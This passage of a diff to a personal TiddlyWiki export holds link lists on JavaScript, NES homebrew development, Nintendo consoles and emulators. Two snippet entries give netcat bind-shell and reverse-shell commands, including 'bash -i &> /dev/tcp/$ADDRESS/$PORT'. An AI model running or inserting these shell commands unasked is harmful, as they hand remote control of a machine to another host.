scripts)?|https://stackoverflow.com/questions/2532043/how-to-get-text-from-all-descendents-of-an-element-disregarding-scripts]]\n* [[Converting HTML string into DOM elements?|https://stackoverflow.com/questions/3103962/converting-html-string-into-dom-elements#3104237]] --- `doc = new DOMParser().parseFromString(htmlString, 'text/html')`\n* [[set doctype using javascript|https://stackoverflow.com/questions/21523487/set-doctype-using-javascript]]\n* [[JavaScript Regex Replace Tutorial|https://www.javascripttutorial.net/javascript-regex/replace/]]\n* [[Insert an element after another DOM element with JavaScript|https://attacomsian.com/blog/javascript-insert-element-after]] --- //`target.parentNode.insertBefore(elem, target.nextSibling)\n`//\n\n* [[Send POST data using XMLHttpRequest|https://stackoverflow.com/questions/9713058/send-post-data-using-xmlhttprequest]]\n* [[fetch API [and comparison with XMLHttpRequest]|https://davidwalsh.name/fetch]]\n* [[How do I upload a file with the JS fetch API?|https://stackoverflow.com/questions/36067767/how-do-i-upload-a-file-with-the-js-fetch-api#comment98412965_36082038]] --- pass the `file` object to the body, do NOT set Content-Type header\n* [[How to Use Fetch with async/await|https://dmitripavlutin.com/javascript-fetch-async-await/]]\n\n* [[String indexOf()|https://www.w3schools.com/jsref/jsref_indexof.asp]]\n* [[Array.prototype.splice()|https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice]], [[JavaScript Array splice() (W3S)|https://www.w3schools.com/jsref/jsref_splice.asp]] --- //changes the contents of an array by removing or replacing existing elements and/or adding new elements in place//, useful alternative for a nonexistant remove function, with `.splice(index, amountToRemove)`\n* \u003C\u003CMDNLink Web/JavaScript/Reference/Global_Objects/Array/concat \"Array.prototype.concat()\">> --- //used to merge two or more arrays, does not change the existing arrays but instead returns a new one//\n* [[XMLHttpRequest|https://www.w3schools.com/xml/xml_http.asp]]\n** \u003C\u003CMDNLink Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests \"Synchronous and asynchronous requests\">>\n* [[HTML DOM Events|https://www.w3schools.com/jsref/dom_obj_event.asp]]\n\n* \u003C\u003ChttpsL tixy.land>> --- //(t,i,x,y) => \"creative code golfing\"// --- \u003C\u003C[# Git\"https://github.com/aemkei/tixy\">>\n\n!!! ''Tools''\n\n* [[jsPerf|https://jsperf.app/]] - //online JavaScript performance benchmark// - \u003C\u003C[ \"[[Git|https://github.com/rd13/jsperf.app]]\">>\n** Old source code: [[v2|https://github.com/jsperf]], [[v1|https://github.com/mathiasbynens/jsperf.com]]\n* [[MeasureThat.net|https://www.measurethat.net/]] - //measure performance of JavaScript code// - \u003C\u003C[ \"[[Git|https://github.com/thecoderok/MeasureThat.net]]\">>\n\n* [[UglifyJS|https://lisperator.net/uglifyjs/]] - //JavaScript parser / mangler / compressor / beautifier// - \u003C\u003C[ \"[[Git|https://github.com/mishoo/UglifyJS]]\">>\n** \u003C\u003Clinkdescgit \"UglifyJS 3: Online JavaScript minifier\" \"https://skalman.github.io/UglifyJS-online/\" \"JavaScript minifier in the browser\" \"https://github.com/Skalman/UglifyJS-online\">>\n* \u003C\u003Clinkdescgit de4js \"https://lelinhtinh.github.io/de4js\" \"JavaScript Deobfuscator and Unpacker\" \"https://github.com/lelinhtinh/de4js\">>\n\n* [[aaencode demo|https://utf-8.jp/public/aaencode.html]] --- //Encode any JavaScript program to Japanese style emoticons (^_^)//\n* [[jjencode demo|https://utf-8.jp/public/jjencode.html]] --- encode JS using limited symbols\n"},
{"title":"JavaScript/Frameworks","created":"20230429190756464","creator":"Octt","modified":"20231229012758540","modifier":"Octt","tags":"","text":"* ''[[Alpine.js|https://alpinejs.dev/]]'' - //Rugged, minimal\u003C\u003Cfnote \"15 attributes, 6 properties, 2 methods\">> framework for composing JavaScript behavior in the markup// - [[[Git|https://github.com/alpinejs/alpine]]]\n** [[HyperJS|https://js.hyperui.dev/]] - //Collection of Alpine JS components// - \u003C\u003C[ \"[[Git|https://github.com/markmead/hyperjs]]\">> \n* ''[[Electron|https://www.electronjs.org/]]'' - //Build cross-platform desktop apps with JavaScript, HTML, and CSS// - [[[Git|https://github.com/electron]]]\n* ''[[React|https://reactjs.org/]]'' - //Building UI-oriented apps with [[JSX|https://en.wikipedia.org/wiki/JSX_(JavaScript)]]// - [[[Git|https://github.com/facebook/react]]]\n** ''[[React Native|https://reactnative.dev/]]'' - //Compiling ReactJS apps to native ones// - [[[Git|https://github.com/facebook/react-native]]]\n* [[Preact|https://preactjs.com/]] --- //โ๏ธ Fast 3kB React alternative with the same modern API. Components & Virtual DOM.// --- \u003C\u003C[# Git\"https://github.com/preactjs\">>\n* ''[[Tauri|https://tauri.app/]]'' - //Use Rust to build desktop and mobile apps with a web frontend// - [[[Git|https://github.com/tauri-apps/]]]\n"},
{"title":"JavaScript/Libraries","created":"20230429182925276","creator":"Octt","modified":"20240107164336993","modifier":"Octt","tags":"","text":"Note: some are still in [[Web/Development]]\n\n!!! ''Single-purpose''\n\n* [[FileSaver.js|https://github.com/eligrey/FileSaver.js]] --- //An HTML5 saveAs() FileSaver implementation//\n* `jsdom`: //JavaScript implementation of various web standards, for use with Node.js// --- \u003C\u003C[# Git \"https://github.com/jsdom/jsdom\">>\n* [[Axios|https://axios-http.com/]] --- //Promise based HTTP client for the browser and node.js// --- \u003C\u003C[# Git\"https://github.com/axios\">>\n** [[How to display response error message with axios|https://stackoverflow.com/questions/44385872/how-to-display-response-error-message-with-axios]] --- `try { ... } catch(err) { console.log(err.response.data.message) }`\n\n!!! ''Do-all''\n\n* [[jQuery|https://jquery.com/]] --- //write less, do more// for general operations (has optional libraries for selectors and UI) --- \u003C\u003C[ \"[[Git|https://github.com/jquery]]\">>\n* [[Licia|https://licia.liriliri.io/]] - //utility library to get daily works done// - \u003C\u003C[ \"[[Git|https://github.com/liriliri/licia]]\">>\n* [[Lodash|https://lodash.com/]] - More modern fork of Underscore, useful for working with data objects - \u003C\u003C[ \"[[Git|https://github.com/lodash]]\">>\n* [[๐ zx|https://google.github.io/zx/]] --- //A tool for writing better scripts//, it's like better sh scripting done via JavaScript. --- \u003C\u003C[# Git\"https://github.com/google/zx\">>\n\n!!! ''Polyfills''\n\nThese are for adding newer APIs to older browsers when making a webapp that uses them.\n\n* [[ECMAScript Shims|https://github.com/es-shims]] - Collection of compliant shims\n* [[core-js|https://github.com/zloirock/core-js]] - Pure JS Standard Library reimplementation\n* [[srcdoc-polyfill|https://github.com/jugglinmike/srcdoc-polyfill]] - //shim for the iFrame \"srcdoc\" attribute//\n* [[CSS Checkbox Hack|https://github.com/jamesl1001/checkbox-hack-polyfill]]\n* [[\u003Cdetails>|https://github.com/rstacruz/details-polyfill]]\n"},
{"title":"johncena141:en","created":"20220923152137538","modified":"20230206111552176","modifier":"Octt","tags":"Gaming $:/i18n:en","text":"[[johncena141|https://github.com/jc141x]] (jc141) is specialized in the field of compiling and distributing free repacks of current PC games for GNU+Linux.\n\nBefore their arrival to the GNU+Linux gaming scene in 2020-2021, obtaining known-safe and working repacks of games for the platform was a challenge, with native Linux repacks being almost impossible to find and Windows ones often not working.\n\nIn just about a year, johncena141 has become the most trusted repacker among GNU+Linux gamers, by putting the focus of their work directly and exclusively on GNU+Linux, as well as proving transparency and efficiency in their operations."},
@@ -1289,7 +1290,7 @@
{"title":"Music Archiving Status","created":"20220921110925268","creator":"Octt","modified":"20230508205815755","modifier":"Octt","tags":"Archiving Music","text":"\u003Ctable style=\"Width:100%;\">\n\u003Ctr style=\"Position:Sticky;\">\n\u003Cth>Album\u003C/th>\n\u003Cth>Got \u003Cbr/> Any?\u003C/th>\n\u003Cth>Got \u003Cbr/> Verified Lossless?\u003C/th>\n\u003Cth>Uploaded \u003Cbr/> on Archive.org?\u003C/th>\n\u003Cth>Notes\u003C/th>\n\u003C/tr>\n\u003C/table>\n\n\u003C!--\n\u003C$list filter=\"[tag[Archiving]]+[tag[Music]]-[[Music Archiving Status]]-[has[draft.of]]\">\n\u003Cp>\n\u003Cdetails>\n\u003Csummary>\u003C\u003C#lself>> \u003C$transclude field=\"title\"/>\u003C/summary>\n\u003C$transclude/>\n\u003C/details>\n\u003C/p>\n\u003C/$list>\n--->\n\n\u003C\u003Cltabs \"[tag[Archiving]]+[tag[Music]]-[[Music Archiving Status]]-[has[draft.of]]\">>\n\n!! Future / To do\n\n''Albums'': FUGENE\n\n''Artists'': Desired, Future Girlfriend, In Love With A Ghost, Macross 82-99, nyankobrq, SoLush, YUC'e, Yunomi"},
{"title":"nanoGPT","created":"20230218215510319","creator":"Octt","modified":"20231222225618517","modifier":"Octt","tags":"[[Artificial intelligence]]","text":"; Primary Resources\n: [[Code (Git)|https://github.com/karpathy/nanoGPT]]\n: Video explanation: \u003C\u003CYoutubeL kCc8FmEb1nY \"Let's build GPT: from scratch, in code, spelled out\">>\n\n; Additional Resources\n: [[Training nanoGPT on my Journal|https://hut.pm/nanogpt.html]] - \u003C\u003Cmywarc 114>>\n\n!!! ''My Experience''\n\nDone training on [[my main laptop|Octt/Laptop]], with PyTorch 2 nightly, and CPU training, because:\n* I failed to install all required dependencies on [[my desktop|Octt/groso]], both on Void Linux musl (bare-metal) and Ubuntu Jammy (chroot).\n* I now had to use my slow laptop, but issues with NVIDIA drivers meant no GPU training.\n\n(TODO: Write my results)\n"},
{"title":"Neofetch","created":"20230508213924861","creator":"Octt","modified":"20230508214336205","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Neofetch>>\n\n* [[Custom Neofetch ASCII Art|https://ryan.himmelwright.net/post/custom-neofetch-ascii-art/]]"},
-{"title":"NES Homebrew Games","created":"20231107222148927","creator":"Octt","modified":"20231119010650604","modifier":"Octt","tags":"[[Nintendo Entertainment System]] Homebrew Game","text":"* [[NES Homebrew Games itch.io collection by John Vanderhoef|https://itch.io/c/632436/nes-homebrew-games]]\n\n* \u003C\u003Clinkdescgit \"Super Tilt Bro\" \"https://sgadrat.itch.io/super-tilt-bro\" \"Super Tilt Bro is a demake of the Super Smash Bros. series compatible with the good old Nintendo Entertainment System from the 1980s. Featuring online play, thanks to a Wi-Fi chip in the cartridge!\" \"https://github.com/sgadrat/super-tilt-bro\">>\n"},
+{"title":"NES Homebrew Games","created":"20231107222148927","creator":"Octt","modified":"20240119001128653","modifier":"Octt","tags":"[[Nintendo Entertainment System]] Homebrew Game","text":"* [[NES Homebrew Games itch.io collection by John Vanderhoef|https://itch.io/c/632436/nes-homebrew-games]]\n\n* \u003C\u003Clinkdescgit \"Super Tilt Bro\" \"https://sgadrat.itch.io/super-tilt-bro\" \"Super Tilt Bro is a demake of the Super Smash Bros. series compatible with the good old Nintendo Entertainment System from the 1980s. Featuring online play, thanks to a Wi-Fi chip in the cartridge!\" \"https://github.com/sgadrat/super-tilt-bro\">>\n\n* \u003C\u003CYoutubeL JGehxWRF7jc \"Homebrew Shovel Knight for NES by Kasumi\">>\n** //[[What if Shovel Knight existed on NES? ๐ค Congrats on the big finish @YachtClubGames! It is a real ROM, but this video will have to suffice for now|https://twitter.com/KasumiDirect/status/1204608235275030528]]//\n"},
{"title":"netcat/Normal Shell","created":"20221202224129631","modified":"20230206111552224","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"From https://unix.stackexchange.com/a/345628:\n\nRun on host to spawn a network-attached shell (requires bash due to coproc):\n\n```bash\ncoproc netcat -l -p $PORT\nexec bash \u003C&${COPROC[0]} >&${COPROC[1]} 2>&1\n```\n\nRun on client to connect to host:\n\n```sh\nnc $ADDRESS $PORT\n```"},
{"title":"netcat/Reverse Shell","created":"20220926095309988","modified":"20230206111552227","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"0. Run on master (requires netcat):\n\n```sh\nnc -l -vv -p $PORT\n```\n\n1. Run on slave:\n\n```sh\nbash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1\n```"},
{"title":"Network domain","created":"20231221233617426","creator":"Octt","modified":"20231221233932753","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Network domain\">>\n\n* \u003C\u003ChttpsL nic.eu.org>> --- //EU.org, free domain names since 1996//\n* (yourname.)\u003C\u003ChttpsL js.org>> --- //Are you a JavaScript developer looking for free webspace to host your project?// --- \u003C\u003C[# Git\"https://github.com/js-org\">>\n"},
@@ -1302,7 +1303,7 @@
{"title":"Nintendo 64","created":"20230920154441542","creator":"Octt","modified":"20230920154706084","modifier":"Octt","tags":"Nintendo","text":"\u003C\u003C^wikipediaframe \"Nintendo 64\">>\n\n* \u003C\u003Clink+desc+git \"Awesome N64 Development\" \"https://n64.dev\" \"A curated list of Nintendo 64 development resources including toolchains, documentation, emulators, example code, and more!\" \"https://github.com/command-tab/awesome-n64-development\">>\n"},
{"title":"Nintendo DS","created":"20220923110724649","creator":"Octt","modified":"20240107152614906","modifier":"Octt","tags":"Gaming Nintendo NDS Console $:/i18n:en Handheld","text":"''Nintendo DS'' is a family of portable game consoles created by [[Nintendo|Nintendo]], succeding and preceding the GBA and 3DS families respectively.\n\n\u003C\u003Cibox \"https://web.archive.org/web/20220923111238/http://pbs.twimg.com/media/E5An_LGVkAQv9ol?format=jpg&name=large\" \"https://twitter.com/HugeNintendoDS/status/1409670660402466819?cxt=HHwWhsCiueb_k5AnAAAA\">>\n\n\u003C\u003C^wikipediaframe \"Nintendo DS\">>\n\n* [[Naples NDS / NDS Naples|https://gamingshitposting.github.io/naplesnds]] --- //We scugnizzi, and our enjoyment of the Nintendo handheld.// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/naplesnds\">>\n* \u003C\u003CTwitterLink HugeNintendoDS \"Huge Nintendo DS\">>\n* [[Some NDS ROM File Format Discoveries|https://gbatemp.net/threads/some-nds-rom-file-format-discoveries.624725/]]\n* [[DS Game Card [HwB]|http://www.hardwarebook.info/DS_Game_Card]]\n\n* [[DS-Homebrew|https://ds-homebrew.com/]] (+ wiki) --- \u003C\u003C[# Git\"https://github.com/DS-Homebrew\">>\n** //''[[nds-bootstrap|https://github.com/DS-Homebrew/nds-bootstrap]]'' is an open-source application that allows Nintendo DS/DSi ROMs and homebrew to be natively utilised rather than using an emulator.//\n*** //''[[TWiLight Menu++|https://github.com/DS-Homebrew/TWiLightMenu]]'' is an open-source DSi Menu upgrade/replacement for the Nintendo DSi, the Nintendo 3DS, and Nintendo DS flashcards.//\n\n!!! Emulators\n\n...WIP\n\n* [[DeSmuMe|https://desmume.org/]] --- for some uses, still the most accurate and flexible NDS emulator, with better x86 support (but poor ARM performance) --- \u003C\u003C[# Git\"https://github.com/TASEmulators/desmume\">>\n** https://github.com/44670/desmume-wasm\n* [[NooDS|https://github.com/Hydr8gon/NooDS]] --- //A (hopefully!) speedy DS emulator.//\n\n!!! Tools\n\n* [[dlditool|https://github.com/devkitPro/dstools/tree/master/src/dlditool]] --- //Dynamically Linked Disk Interface patch tool// for NDS homebrew ROMs\n\n!!! Development\n\n* (WIP) [[NDS-Homebrew-Development|https://github.com/jdriselvato/NDS-Homebrew-Development]] --- //research for developing on the Nintendo DS//\n* [[Nitro SDK in a Box|https://gbatemp.net/threads/nitro-sdk-in-a-box.622578/]] --- the idea for a VM setup with all kinds of useful software from official NITRO SDK (download not released, we might want to ask OP in private)\n\n* [[devkitPro/nds-examples|https://github.com/devkitPro/nds-examples]]\n\n!! PictoChat\n\n\u003C\u003C^wikipediaframe PictoChat>>\n\n* \u003C\u003Clinkdescgit Paperchat \"https://paperchat.net/\" \"An online Pictochat spiritual successor - Draw and chat in real time!\" \"https://github.com/lietsaki/paperchat\">>\n* \u003C\u003Clinkdescgit pict.chat \"https://pict.chat/\" \"PictoChat web app with a server written in Java!\" \"https://github.com/ayunami2000/ayunpictojava\">>\n"},
{"title":"Nintendo DS/Software Requiring Only the Bottom Screen","created":"20221018215927772","modified":"20230206111552237","modifier":"Octt","tags":"Nintendo NDS Gaming $:/i18n:en","text":"!! ''Moved''\n\nMoved to https://cryptpad.devol.it/sheet/#/2/sheet/view/kcmKvZ03cftF2U9SMlMk8m4s5XRVIVkb0SZTZIDqvL8/embed/\n\n\u003Cdel>\n\n!!! ''Licensed Games''\n\n* ''Animal Crossing: Wild World'' โข Top screen is required to see stars, flying balloons, and Gulliver. It also shows the title screen logo, and the 3D world when a menu is open. All gameplay, dialogues, and menus are on the bottom screen, and the stylus or the buttons can be used interchangeably.\n\n* ''Kirby: Mass Attack'' โข Top screen shows title screen logo, some tooltips in game, and stats (level name, points, fruits, Kirbys, medals). Gameplay and menus are on bottom screen, and only controlled with the stylus.\n\n* ''Kirby: Power'' Paintbrush\n\n* [Patch] ''New Super Mario Bros.'' (Macro-Friendly)\n\n* [Partially] ''Nintendogs''\n\n* ''Picross 3D'' โข Top screen holds text like menu details and guides (like the tutorials), and puzzle overviews (in the selection menu and while playing), with details and time. The gameplay itself is on the bottom screen, and requires stylus and D-Pad/ABXY. To play without a top screen, it's effectively necessary to learn the unique game mechanics elsewhere (like in video gameplays).\n\n* ''Picross DS'' โข Top screen has some text, for menu items details, tutorials and explanations, overwiew of puzzles in the selection menu, and their status (as well as time) while playing them. Gameplay is on the bottom screen, and requires either the D-Pad, A, B buttons, or the stylus (as well as START to access the pause menu).\n\n* ''Pokemon Dash''\n\n* [?] ''Pokemon Link!''\n\n* ''Puyo Puyo!! 20th anniversary'' โข Top screen has details for menu entries, some secondary dialogues (the story ones happen on the bottom), points and results, and decorative in-game character animations. Menus can be navigated with either the buttons or the touch screen; gameplay happens on the bottom screen with D-Pad and A/B buttons.\n\n* [?] ''Puzzle League DS''\n\n* ''Tetris DS''\n\n* ''The Legend of Zelda: Phantom Hourglass''\n\n* [?] ''The Legend of Zelda - Spirit Tracks''\n\n* [?] ''Tingle no Balloon Fight DS''\n\n* [?] ''WarioWare: Do It Yourself''\n\n* [?] ''WarioWare: Touched!''\n\n\n!!! ''Licensed Apps''\n\n* ''Nintendo DS Browser'' โข Top screen shows software logos, current URL, WiFi signal status, loading animation, count of loaded/total page elements, random and contextual tooltips, and page scrollback buffer. Menu and web navigation happen entirely on the bottom screen, except when Panorama Mode (desktop view) is enabled. Navigation happens primarily with the stylus; buttons are supported only for some operations.\n\n\n!!! ''Homebrew Games''\n\n\n\n\n!!! ''Homebrew Apps''\n\n* ''Colors! DS'' โข Top screen shows app logo while in the main menu, buttons legend while drawing, and the current drawing when opening a menu or optionally always. The touch screen is needed to select menu items, draw, and calibrate the digitizer; buttons are needed to operate drawing tools (moving, zooming, color picker, undo).\n\n\u003C/del>"},
-{"title":"Nintendo Entertainment System","created":"20230202104823127","creator":"Octt","modified":"20240107005726632","modifier":"Octt","tags":"Nintendo Gaming $:/i18n:en Console","text":"\u003C\u003C^wikipediaframe \"Nintendo Entertainment System\" en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL bfJzJOQqsDk \"Pushing The Limits of the NES: Amazing Hacks That Made NES Games Possible [Sharopolis]\">>\n* \u003C\u003CYoutubeL qYDzL5hVzSM \"INSANE HD Texture Packs For 8-Bit NES Games!\">> (thanks to a Mesen feature)\n* [[NES (Famicom) Development Kit Hardware [Retro Reversing]|https://www.retroreversing.com/famicom-nes-development-kit/]]\n\n* (Playlists of) [[Some NES Multicarts Music|https://www.youtube.com/playlist?list=PLP3KtH7oe6jVGoqvVgKldhrYn8q9pxx44]] ; [[NES/Famicom Multicarts Music Remake Video|https://www.youtube.com/playlist?list=PLP3KtH7oe6jUNno7Y2xjeTVIvTy9ig9Hp]]\n\n* [[NesDev.org|https://www.nesdev.org/]] --- //Info, programs, and more//\n* [[Nintendo Entertainment System Documentation|https://www.nesdev.org/NESDoc.pdf]]\n* \u003C\u003ChttpL nes.science>> --- //home to a bunch of random NES stuff// and useful archives\n* [[Nerdy Nights (mirror)|https://nerdy-nights.nes.science/]] --- //tutorial series to help people write games for the NES//\n* \u003C\u003ChttpL nesdoug.com>> --- NES Programming tutorial in C\n** [[GitBook re-adaptation by dag7dev|https://dag7.gitbook.io/nesdoug-nes-guide]] //for a comfy read// --- \u003C\u003C#[ Git\"https://github.com/dag7dev/nesdoug-nes-guide\">>\n* [[everynes/no$nes technical documentation|https://problemkaputt.de/everynes.htm]]\n* [[NES Programming [Wikibooks]|https://en.wikibooks.org/wiki/NES_Programming]] --- an extremely WIP resource on the matter as of 2023/11, but it's worth for it being just a concise list of specs and memory layout\n\n* General [[Useful tools for NES development|https://www.nesdev.org/wiki/Tools]]\n** [[FamiStudio|https://famistudio.org/]] --- //very simple music editor for NES/Famicom targeted at both chiptune artists and NES homebrewers// --- \u003C\u003C[# Git\"https://github.com/BleuBleu/FamiStudio\">>\n** FamiTracker: after official development ceased and website died, see \u003C\u003CRedditL r/famitracker/comments/n97ve9/where_do_i_download_famitracker/ \"Where do I download famitracker?\">>\n*** apparently, current best fork is [[Dn-Famitracker|https://github.com/Dn-Programming-Core-Management/Dn-FamiTracker]]\n** [[nixel|https://alexpate.net/nixel/]] --- web editor for CHRs inside NES ROMs with a good UX\n** [[NEXXT|https://frankengraphics.itch.io/nexxt]] --- //Featureful NES assets studio based off the classic \"NES Screen Tool\". It's the \"famitracker\" of NES graphics.// (sources included)\n\n* [[Retro Puzzle Maker|https://puzzle.nes.science]] --- //new tool meant to help you create new puzzle games you can play on an NES//\n* \u003C\u003Clinkdescgit \"C NES Starter Kit\"\"https://cppchriscpp.github.io/nes-starter-kit/\" \"Simplified starter kit for making NES games using C and graphical tools.\" \"https://github.com/cppchriscpp/nes-starter-kit\">>\n* [[ASM NES Starter Kit|https://github.com/battlelinegames/nes-starter-kit]] --- //starter kit for developing Nintendo Entertainment System games using 6502 Assembly language// with specific useful information\n* [[little-things-nes|https://github.com/pinobatch/little-things-nes]] --- //One-off tech demos and test ROMs for NES//\n\n* [[nessemble|https://github.com/kevinselwyn/nessemble]] --- //6502 assembler/disassembler/simulator targeting the Nintendo Entertainment System//\n* [[BZK 6502 Disassembler|https://github.com/cyneprepou4uk/BZK-6502-Disassembler]] --- //Create a disassembly of a NES game// --- \u003C\u003C[# Manual \"https://cyneprepou4uk.github.io/iromhacker/nes/en/bzk6502/1/index.html\">> \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=31875.0\">>\n\n* [[NES Games Disassembly|https://github.com/cyneprepou4uk/NES-Games-Disassembly]] --- //Source code of some NES games// --- \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=32220.0\">>\n\n!!! Emulators\n\n* [[FCEUX|https://fceux.com]] --- //The all in one NES/Famicom/Dendy Emulator// --- \u003C\u003C[# \"https://github.com/TASEmulators/fceux\">>\n* [[Nestopia|]]\n* [[NesDs|]]\n"},
+{"title":"Nintendo Entertainment System","created":"20230202104823127","creator":"Octt","modified":"20240119012237016","modifier":"Octt","tags":"Nintendo Gaming $:/i18n:en Console","text":"\u003C\u003C^wikipediaframe \"Nintendo Entertainment System\" en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL bfJzJOQqsDk \"Pushing The Limits of the NES: Amazing Hacks That Made NES Games Possible [Sharopolis]\">>\n* \u003C\u003CYoutubeL qYDzL5hVzSM \"INSANE HD Texture Packs For 8-Bit NES Games!\">> (thanks to a Mesen feature)\n* [[NES (Famicom) Development Kit Hardware [Retro Reversing]|https://www.retroreversing.com/famicom-nes-development-kit/]]\n\n* (Playlists of) [[Some NES Multicarts Music|https://www.youtube.com/playlist?list=PLP3KtH7oe6jVGoqvVgKldhrYn8q9pxx44]] ; [[NES/Famicom Multicarts Music Remake Video|https://www.youtube.com/playlist?list=PLP3KtH7oe6jUNno7Y2xjeTVIvTy9ig9Hp]]\n\n* [[ArtisaNES|http://0ldsk00l.ca/artisanes/]] --- //Artisanal NES consoles aesthetic mods// (paints)\n\n* [[NesDev.org|https://www.nesdev.org/]] --- //Info, programs, and more//\n* [[Nintendo Entertainment System Documentation|https://www.nesdev.org/NESDoc.pdf]]\n* \u003C\u003ChttpL nes.science>> --- //home to a bunch of random NES stuff// and useful archives\n* [[Nerdy Nights (mirror)|https://nerdy-nights.nes.science/]] --- //tutorial series to help people write games for the NES//\n* \u003C\u003ChttpL nesdoug.com>> --- NES Programming tutorial in C\n** [[GitBook re-adaptation by dag7dev|https://dag7.gitbook.io/nesdoug-nes-guide]] //for a comfy read// --- \u003C\u003C#[ Git\"https://github.com/dag7dev/nesdoug-nes-guide\">>\n* [[everynes/no$nes technical documentation|https://problemkaputt.de/everynes.htm]]\n* [[NES Programming [Wikibooks]|https://en.wikibooks.org/wiki/NES_Programming]] --- an extremely WIP resource on the matter as of 2023/11, but it's worth for it being just a concise list of specs and memory layout\n\n* General [[Useful tools for NES development|https://www.nesdev.org/wiki/Tools]]\n** [[FamiStudio|https://famistudio.org/]] --- //very simple music editor for NES/Famicom targeted at both chiptune artists and NES homebrewers// --- \u003C\u003C[# Git\"https://github.com/BleuBleu/FamiStudio\">>\n** FamiTracker: after official development ceased and website died, see \u003C\u003CRedditL r/famitracker/comments/n97ve9/where_do_i_download_famitracker/ \"Where do I download famitracker?\">>\n*** apparently, current best fork is [[Dn-Famitracker|https://github.com/Dn-Programming-Core-Management/Dn-FamiTracker]]\n** [[nixel|https://alexpate.net/nixel/]] --- web editor for CHRs inside NES ROMs with a good UX\n** [[NEXXT|https://frankengraphics.itch.io/nexxt]] --- //Featureful NES assets studio based off the classic \"NES Screen Tool\". It's the \"famitracker\" of NES graphics.// (sources included)\n\n* [[Retro Puzzle Maker|https://puzzle.nes.science]] --- //new tool meant to help you create new puzzle games you can play on an NES//\n* \u003C\u003Clinkdescgit \"C NES Starter Kit\"\"https://cppchriscpp.github.io/nes-starter-kit/\" \"Simplified starter kit for making NES games using C and graphical tools.\" \"https://github.com/cppchriscpp/nes-starter-kit\">>\n* [[ASM NES Starter Kit|https://github.com/battlelinegames/nes-starter-kit]] --- //starter kit for developing Nintendo Entertainment System games using 6502 Assembly language// with specific useful information\n* [[little-things-nes|https://github.com/pinobatch/little-things-nes]] --- //One-off tech demos and test ROMs for NES//\n\n* [[nessemble|https://github.com/kevinselwyn/nessemble]] --- //6502 assembler/disassembler/simulator targeting the Nintendo Entertainment System// --- \u003C\u003C[# Thread\"https://forums.nesdev.org/viewtopic.php?t=16387\">>\n* [[BZK 6502 Disassembler|https://github.com/cyneprepou4uk/BZK-6502-Disassembler]] --- //Create a disassembly of a NES game// --- \u003C\u003C[# Manual \"https://cyneprepou4uk.github.io/iromhacker/nes/en/bzk6502/1/index.html\">> \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=31875.0\">>\n\n* [[Disassembling NES ROM, What Disassembler to Use?|https://forums.nesdev.org/viewtopic.php?t=14221]]\n* [[NES Games Disassembly|https://github.com/cyneprepou4uk/NES-Games-Disassembly]] --- //Source code of some NES games// --- \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=32220.0\">>\n* [[How to Hack NES Games [JohnRiggs]|https://www.youtube.com/playlist?list=PLsOTz-tlvayLmYmgreE4q1w0E6rN29T4p]]\n* [[$8000 and $C000 on the NES|https://forums.nesdev.org/viewtopic.php?t=5494]] --- mapper 0 maps the PRG ROM to both addresses\n\n* [[Looking For MIDI to NES/NSF Converter|https://forums.nesdev.org/viewtopic.php?t=8007]]\n\n!!! Emulators\n\n* [[FCEUX|https://fceux.com]] --- //The all in one NES/Famicom/Dendy Emulator// --- \u003C\u003C[# \"https://github.com/TASEmulators/fceux\">>\n* [[Nestopia|https://nestopia.sourceforge.net/]]\n** [[Nestopia UE|http://0ldsk00l.ca/nestopia/]] (the successor) --- // Cross-platform Nestopia emulator core with a GUI// --- \u003C\u003C[# Git\"https://github.com/0ldsk00l/nestopia\">>\n* [[NesDs|]]\n"},
{"title":"Nintendo Switch","created":"20220925130302833","creator":"Octt","modified":"20231210220557478","modifier":"Octt","tags":"Nintendo Gaming NX Console","text":"''Nintendo Switch'' is a family of portable game consoles created by [[Nintendo|Nintendo]]. It is notorius for being made of [[papier-mรขchรฉ|Papier-mรขchรฉ]], essentially suffering from a variety of structural problems.\n\n\u003C\u003Cibox \"https://i.ytimg.com/vi_webp/Cb-srOfRqNc/maxresdefault.webp\" \"https://youtu.be/Cb-srOfRqNc\">>\n\nThe console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can //switch//, from being connected to a TV to being able to be used standalone.\n\n!!! Misc\n\n* [[Internet Browser [Switchbrew]|https://switchbrew.org/wiki/Internet_Browser]]\n** Apparently from FW 10.0, Nintendo being corporate shitlords added a [[Browser Timeout: \"This Screen will be closed.\"|https://browsedns.net/topic/25/browser-timeout-this-screen-will-be-closed]]\n\n!!! ''Emulators''\n\n* [[Yuzu|https://yuzu-emu.org/]] --- //experimental open-source Switch emulator from the creators of Citra// --- \u003C\u003C#[ Git \"https://github.com/yuzu-emu\">>\n* [[Ryujinx|https://ryujinx.org/]] --- //simple, experimental Nintendo Switch emulator// --- \u003C\u003C[# Git \"https://github.com/Ryujinx\">>\n* [[Skyline|https://skyline-emu.one/]] --- //Run Nintendo Switch homebrew & games on your Android device!// --- \u003C\u003C[# Git \"https://github.com/skyline-emu\">>\n** Abandoned due to the developers' irrational fear of a Nintendo takedown (in my view they were just tired of mantaining the project and didn't want to take the bad press of a standard resign, this was just an excuse to abandon the project... but at least it's open-source)\n** A slow-going fork has apparently started: [[Strato|https://github.com/strato-emu/strato]]\n\n!!! ''Homebrew, Tools, Hacks''\n\n* Alternative OSes: [[Ubuntu]] and [[LineageOS]] by ''[[switchroot|https://switchroot.org/]]''\n* Custom Firmware: The real best today is [[Atmosphรจre-NX|https://github.com/Atmosphere-NX]] + related libs.\n* Signature patches (needed to run unsigned NSPs, aka homebrew NSPs or pirated games): \u003C\u003C[ \"[[WiiDatabase|https://wiidatabase.de/switch-downloads/hacks/signatur-patches/]]\">> \u003C\u003C[ 